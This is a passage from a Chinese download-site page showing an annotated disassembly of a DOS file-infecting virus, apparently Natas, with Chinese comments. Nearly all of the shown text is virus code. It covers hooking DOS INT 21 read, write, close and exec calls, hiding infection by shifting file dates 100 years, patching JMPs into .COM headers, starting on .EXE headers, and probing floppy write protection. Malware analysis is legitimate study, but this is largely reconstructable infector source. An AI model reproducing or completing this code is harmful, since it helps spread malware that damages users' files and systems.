⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 natas

📁 一套关于加解密的文件
💻
📖 第 1 页 / 共 5 页
字号:
9E80:06A6 7303           JNB	06AB 
9E80:06A8 E9D801         JMP	0883 
9E80:06AB 80FEC8         CMP	DH,C8 		;取文件时间
9E80:06AE 7203           JB	06B3 		;如果传染,则减 100 年
9E80:06B0 80EEC8         SUB	DH,C8 
9E80:06B3 F8             CLC	 
9E80:06B4 E87803         CALL	0A2F 		;设置 INT 21 返回值
9E80:06B7 894E0C         MOV	[BP+0C],CX 	;设置返回 CX,DX 值
9E80:06BA 89560A         MOV	[BP+0A],DX 
9E80:06BD E966FF         JMP	0626 
;==========================================================================
9E80:06C0 80FC3F         CMP	AH,3F		;INT 21 之读文件功能
9E80:06C3 7403           JZ	06C8 
9E80:06C5 E9BD00         JMP	0785 
9E80:06C8 E8E002         CALL	09AB 		;取系统文件表项地址
9E80:06CB 76F8           JBE	06C5 
9E80:06CD E86703         CALL	0A37 		;压缩程序内退出
9E80:06D0 74F3           JZ	06C5 
9E80:06D2 C44511         LES	AX,[DI+11] 	;文件大小 => BX:AX
9E80:06D5 8CC3           MOV	BX,ES 
9E80:06D7 C45515         LES	DX,[DI+15] 	;当前指针 => SI:DX
9E80:06DA 8CC6           MOV	SI,ES 
9E80:06DC 2E83267C0700   AND	Word Ptr CS:[077C],+00 ;读出长度清零
9E80:06E2 0BF6           OR	SI,SI 
9E80:06E4 754D           JNZ	0733 
9E80:06E6 83FA18         CMP	DX,+18 
9E80:06E9 7348           JNB	0733 
9E80:06EB 51             PUSH	CX 		;当前指针 < 0000:0018
9E80:06EC 03CA           ADD	CX,DX 
9E80:06EE F5             CMC	 
9E80:06EF 7303           JNB	06F4 		;> 64K 转 06F7
9E80:06F1 83F918         CMP	CX,+18 
9E80:06F4 59             POP	CX 		;读文件头 18 字节内
9E80:06F5 7205           JB	06FC 		;转 06FC
9E80:06F7 B91800         MOV	CX,0018 	;一半在文件头 18 字节内
9E80:06FA 2BCA           SUB	CX,DX 		;CX=在文件头18字节内的字节数
9E80:06FC 50             PUSH	AX 
9E80:06FD 53             PUSH	BX 
9E80:06FE 52             PUSH	DX 
9E80:06FF 83EA18         SUB	DX,+18 		;BX:AX = 文件长
9E80:0702 03C2           ADD	AX,DX 		;
9E80:0704 F5             CMC	 
9E80:0705 1BDE           SBB	BX,SI 
9E80:0707 874515         XCHG	AX,[DI+15] 	;文件指针指向文件尾
9E80:070A 875D17         XCHG	BX,[DI+17] 	
9E80:070D 50             PUSH	AX 
9E80:070E 53             PUSH	BX 
9E80:070F 1E             PUSH	DS 
9E80:0710 B43F           MOV	AH,3F		;读出原文件头
9E80:0712 8B560A         MOV	DX,[BP+0A] 
9E80:0715 8E5E02         MOV	DS,[BP+02] 
9E80:0718 E8A703         CALL	0AC2 
9E80:071B 1F             POP	DS 
9E80:071C 8F4517         POP	[DI+17] 	;恢复原文件指针
9E80:071F 8F4515         POP	[DI+15] 
9E80:0722 5A             POP	DX 
9E80:0723 9C             PUSHF	 		;由于分两部分读出
9E80:0724 03D0           ADD	DX,AX 		;所以保留第一次读出数
9E80:0726 2E01067C07     ADD	CS:[077C],AX 	;返回时加上第二次读出数
9E80:072B 9D             POPF	 
9E80:072C 5B             POP	BX 		;BX:AX = 文件长
9E80:072D 58             POP	AX 
9E80:072E 7303           JNB	0733 
9E80:0730 E95001         JMP	0883 
9E80:0733 895515         MOV	[DI+15],DX 	;读出第一部分后的
9E80:0736 897517         MOV	[DI+17],SI 	;文件指针
9E80:0739 8B4E0C         MOV	CX,[BP+0C] 	;原读出字节数
9E80:073C 2E2B0E7C07     SUB	CX,CS:[077C] 	;减去已读出字节数
9E80:0741 2D8812         SUB	AX,1288 	;BX:AX = 文件长
9E80:0744 83DB00         SBB	BX,+00 
9E80:0747 50             PUSH	AX 
9E80:0748 53             PUSH	BX 		;BX:AX = 减去病毒后文件长
9E80:0749 2BC2           SUB	AX,DX 		;
9E80:074B 1BDE           SBB	BX,SI 
9E80:074D 5B             POP	BX 
9E80:074E 58             POP	AX 
9E80:074F 7304           JNB	0755 		;当前指针不在病毒内转 0755
9E80:0751 33C9           XOR	CX,CX 		;当前指针在病毒内
9E80:0753 EB14           JMP	0769 		;则读出 0 字节
9E80:0755 03D1           ADD	DX,CX 
9E80:0757 83D600         ADC	SI,+00 		;SI:DX = 读出后
9E80:075A 3BDE           CMP	BX,SI 		;指针将要在的位置
9E80:075C 770B           JA	0769 
9E80:075E 7204           JB	0764 
9E80:0760 3BC2           CMP	AX,DX 
9E80:0762 7305           JNB	0769 		;未到病毒内转 0769
9E80:0764 2BD1           SUB	DX,CX 		;
9E80:0766 91             XCHG	AX,CX 
9E80:0767 2BCA           SUB	CX,DX 		;CX = 到原文件尾长度
9E80:0769 B43F           MOV	AH,3F
9E80:076B 8B560A         MOV	DX,[BP+0A] 
9E80:076E 2E03167C07     ADD	DX,CS:[077C] 
9E80:0773 8E5E02         MOV	DS,[BP+02] 
9E80:0776 E84903         CALL	0AC2 		;读出文件
9E80:0779 7204           JB	077F 
9E80:077B 051800         ADD	AX,0018   ===>	;本字节在第一次读出时保存
9E80:077E F8             CLC	 
9E80:077F E8AD02         CALL	0A2F 		;保存返回 AX
9E80:0782 E9A1FE         JMP	0626 
;==========================================================================
9E80:0785 80FC40         CMP	AH,40		;INT 21 之写文件功能
9E80:0788 7402           JZ	078C 
9E80:078A EB52           JMP	07DE 
9E80:078C E81C02         CALL	09AB 		;取系统文件表项地址
9E80:078F 76F9           JBE	078A 
9E80:0791 C44511         LES	AX,[DI+11] 
9E80:0794 8CC3           MOV	BX,ES 		;BX:AX = 文件长
9E80:0796 2D1800         SUB	AX,0018 
9E80:0799 83DB00         SBB	BX,+00 
9E80:079C 874515         XCHG	AX,[DI+15] 	;当前指针 => 文件尾-0018
9E80:079F 875D17         XCHG	BX,[DI+17] 	;BX:AX = 当前指针
9E80:07A2 50             PUSH	AX 
9E80:07A3 53             PUSH	BX 
9E80:07A4 B80200         MOV	AX,0002 
9E80:07A7 874502         XCHG	AX,[DI+02] 	;设置为写打开
9E80:07AA 50             PUSH	AX 
9E80:07AB 1E             PUSH	DS 
9E80:07AC 0E             PUSH	CS 
9E80:07AD 1F             POP	DS 
9E80:07AE 07             POP	ES 
9E80:07AF E85902         CALL	0A0B 		;读出原文件头 => CS:1270
9E80:07B2 268F4502       POP	ES:[DI+02] 	;恢复打开方式
9E80:07B6 721B           JB	07D3 
9E80:07B8 26894515       MOV	ES:[DI+15],AX 	;当前指针 => 文件开始
9E80:07BC 26894517       MOV	ES:[DI+17],AX 
9E80:07C0 E84B02         CALL	0A0E 		;写文件头(恢复)
9E80:07C3 720E           JB	07D3 
9E80:07C5 06             PUSH	ES 
9E80:07C6 1F             POP	DS 
9E80:07C7 816D118812     SUB	Word Ptr [DI+11],1288 
9E80:07CC 194513         SBB	[DI+13],AX 	;文件长 - 4744
9E80:07CF 806D10C8       SUB	Byte Ptr [DI+10],C8 	;恢复日期
9E80:07D3 268F4517       POP	ES:[DI+17] 	;恢复文件指针
9E80:07D7 268F4515       POP	ES:[DI+15] 
9E80:07DB E9A500         JMP	0883 		;转原 INT 21
;=========================================================================
9E80:07DE 80FC3E         CMP	AH,3E		;关闭文件
9E80:07E1 740C           JZ	07EF 		;先复制文件句柄再传染
9E80:07E3 3D004B         CMP	AX,4B00 	;执行文件
9E80:07E6 7403           JZ	07EB 		;先打开文件再传染
9E80:07E8 E99800         JMP	0883 
9E80:07EB B8003D         MOV	AX,3D00 
9E80:07EE 3DB445         CMP	AX,45B4 
9E80:07F1 E8E501         CALL	09D9 		;将 INT 13 切换到 BIOS
9E80:07F4 E8CB02         CALL	0AC2 		;打开/复制文件
9E80:07F7 2EA3C30A       MOV	CS:[0AC3],AX 
9E80:07FB B80844         MOV	AX,4408 
9E80:07FE 99             CWD	 
9E80:07FF 727F           JB	0880
9E80:0801 E8A701         CALL	09AB		;取系统文件表项 
9E80:0804 7275           JB	087B 		;出错退出
9E80:0806 7573           JNZ	087B 		;已传染退出
9E80:0808 B33F           MOV	BL,3F
9E80:080A 225D05         AND	BL,[DI+05] 	;设备信息字
9E80:080D 8AD3           MOV	DL,BL 		;DL = 驱动器号 (A=0,B=1...)
9E80:080F 43             INC	BX 		;BX = 驱动器号 (A=1,B=2...)
9E80:0810 E8B202         CALL	0AC5 		;DOS 4408 功能
9E80:0813 B90100         MOV	CX,0001 	;检测块设备是否可移动
9E80:0816 0E             PUSH	CS 
9E80:0817 07             POP	ES 
9E80:0818 7205           JB	081F 
9E80:081A 48             DEC	AX 
9E80:081B 7418           JZ	0835 		;固定设备转 0835
9E80:081D EB05           JMP	0824 		;非可移动设备退出
9E80:081F 80FA01         CMP	DL,01 
9E80:0822 7711           JA	0835 		;C 盘以上不用检测
9E80:0824 B80102         MOV	AX,0201 	;如果是软盘,检测写保护
9E80:0827 BB1314         MOV	BX,1413 	;先读出
9E80:082A CD13           INT	13 
9E80:082C 724D           JB	087B 
9E80:082E B80103         MOV	AX,0301 	;再写入
9E80:0831 CD13           INT	13 
9E80:0833 7246           JB	087B 		;无法写入退出(写保护)
9E80:0835 41             INC	CX 
9E80:0836 874D02         XCHG	CX,[DI+02] 	;设置文件打开方式为写打开
9E80:0839 51             PUSH	CX 		;保存原打开方式
9E80:083A 33C0           XOR	AX,AX 
9E80:083C 866504         XCHG	AH,[DI+04] 	;文件属性
9E80:083F F6C404         TEST	AH,04 		;系统属性退出
9E80:0842 50             PUSH	AX 		;保存文件属性
9E80:0843 7530           JNZ	0875 
9E80:0845 98             CBW	 
9E80:0846 99             CWD	 		;AX 清零
9E80:0847 874515         XCHG	AX,[DI+15] 	;移动文件指针到文件头
9E80:084A 875517         XCHG	DX,[DI+17] 
9E80:084D 50             PUSH	AX 		;保存原文件指针
9E80:084E 52             PUSH	DX 
9E80:084F BDBDB0         MOV	BP,B0BD 	;扩展名不为 "COM"
9E80:0852 036D28         ADD	BP,[DI+28] 	;转 085D
9E80:0855 7506           JNZ	085D 
9E80:0857 BDB1B2         MOV	BP,B2B1 
9E80:085A 036D29         ADD	BP,[DI+29] 
9E80:085D E86900         CALL	08C9            ;执行传染子程序
9E80:0860 9C             PUSHF	 
9E80:0861 E84701         CALL	09AB 		;取系统文件表项
9E80:0864 9D             POPF	 
9E80:0865 7204           JB	086B 
9E80:0867 804510C8       ADD	Byte Ptr [DI+10],C8 	;文件年份+100
9E80:086B 804D0640       OR	Byte Ptr [DI+06],40	;关闭时不设置时间
9E80:086F 8F4517         POP	[DI+17] 	;恢复系统文件表项
9E80:0872 8F4515         POP	[DI+15] 	;中相应内容
9E80:0875 8F4503         POP	[DI+03] 
9E80:0878 8F4502         POP	[DI+02] 
9E80:087B B43E           MOV	AH,3E		;关闭文件
9E80:087D E84202         CALL	0AC2 
9E80:0880 E85601         CALL	09D9 		;将 INT 13 恢复到 DOS
9E80:0883 E89801         CALL	0A1E 		;恢复 INT 24 及键盘状态
9E80:0886 0E             PUSH	CS 
9E80:0887 1F             POP	DS 
9E80:0888 B001           MOV	AL,01 
9E80:088A BFE313         MOV	DI,13E3 
9E80:088D 38452E         CMP	[DI+2E],AL	;??????
9E80:0890 7532           JNZ	08C4 		;放弃重新截取 INT 21 ????
9E80:0892 E82EF8         CALL	00C3		;取中断向量 01 
9E80:0895 891D           MOV	[DI],BX 
9E80:0897 8C4502         MOV	[DI+02],ES 	;保存于 13E3
9E80:089A C6452F05       MOV	Byte Ptr [DI+2F],05 
9E80:089E C60697023F     MOV	Byte Ptr [0297],3F
9E80:08A3 BA7702         MOV	DX,0277 	;设置中断向量 01
9E80:08A6 E82BF8         CALL	00D4 		;到 CS:0277
9E80:08A9 E856F8         CALL	0102 		;POPA
9E80:08AC 56             PUSH	SI 
9E80:08AD 9C             PUSHF	 
9E80:08AE 5E             POP	SI 		;标志 FLAG => SI
9E80:08AF E8BEF9         CALL	0270 		;启动 INT 01 (重新截取INT 21用)
9E80:08B2 5E             POP	SI 		;本句转 INT 01 (0277) 执行
9E80:08B3 FA             CLI	 
9E80:08B4 2E8E16D512     MOV	SS,CS:[12D5] 	;恢复原堆栈
9E80:08B9 2E8B26D712     MOV	SP,CS:[12D7] 
9E80:08BE FB             STI	 		;转原 INT 21
9E80:08BF 2EFF2EFB13     JMP	FAR CS:[13FB] 
;=========================================================================
9E80:08C4 E83BF8         CALL	0102 		;POPA
9E80:08C7 EBEA           JMP	08B3 		;
;=========================================================================
9E80:08C9 0E             PUSH	CS 		;传染子程序
9E80:08CA 1F             POP	DS 
9E80:08CB E83D01         CALL	0A0B 		;读文件头 18H => 1270
9E80:08CE 7244           JB	0914 
9E80:08D0 8BF2           MOV	SI,DX 
9E80:08D2 BF8812         MOV	DI,1288 	;文件头 18H 移动到 1288
9E80:08D5 FC             CLD	 		;准备修改
9E80:08D6 F3             REPZ	
9E80:08D7 A4             MOVSB	 
9E80:08D8 E8D000         CALL	09AB 		;取系统文件表项
9E80:08DB C44511         LES	AX,[DI+11] 	;文件大小 DX:AX
9E80:08DE 8CC2           MOV	DX,ES 
9E80:08E0 894515         MOV	[DI+15],AX 	;移动文件指针 => 文件尾
9E80:08E3 895517         MOV	[DI+17],DX 
9E80:08E6 0E             PUSH	CS 
9E80:08E7 0E             PUSH	CS 
9E80:08E8 07             POP	ES 
9E80:08E9 1F             POP	DS 
9E80:08EA 8B0C           MOV	CX,[SI] 	;文件头 2 字节
9E80:08EC 81F95A4D       CMP	CX,4D5A 
9E80:08F0 7424           JZ	0916 
9E80:08F2 81F94D5A       CMP	CX,5A4D 
9E80:08F6 741E           JZ	0916 		;.EXE 文件转 0916
;==========================================================================
9E80:08F8 0BD5           OR	DX,BP 		;传染 .COM 文件
9E80:08FA 7518           JNZ	0914 
9E80:08FC 3D14ED         CMP	AX,ED14 	; > 60692 字节不传染
9E80:08FF 7713           JA	0914 
9E80:0901 3DE803         CMP	AX,03E8 	; < 1000 字节不传染
9E80:0904 720E           JB	0914 
9E80:0906 C604E9         MOV	Byte Ptr [SI],E9 	;文件头改为 JMP XXXX
9E80:0909 FEC4           INC	AH 		;ADD AX,100H
9E80:090B 50             PUSH	AX 		;.COM 文件入口 11DA
9E80:090C 05D710         ADD	AX,10D7 	;(0100+0003+10D7)
9E80:090F 894401         MOV	[SI+01],AX 
9E80:0912 EB7B           JMP	098F 
9E80:0914 F9             STC	 
9E80:0915 C3             RET	 
;===========================================================================
9E80:0916 837C0CFF       CMP	Word Ptr [SI+0C],-01 	;传染 .EXE 文件
9E80:091A 75F8           JNZ	0914 		;要分配内存不为 -1 返回
9E80:091C 8BE8           MOV	BP,AX 
9E80:091E 8BFA           MOV	DI,DX 		;DI:BP = 文件长
9E80:0920 B90002         MOV	CX,0200 
9E80:0923 F7F1           DIV	CX 
9E80:0925 0BD2           OR	DX,DX 
9E80:0927 7401           JZ	092A 
9E80:0929 40             INC	AX 
9E80:092A 2B4404         SUB	AX,[SI+04] 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -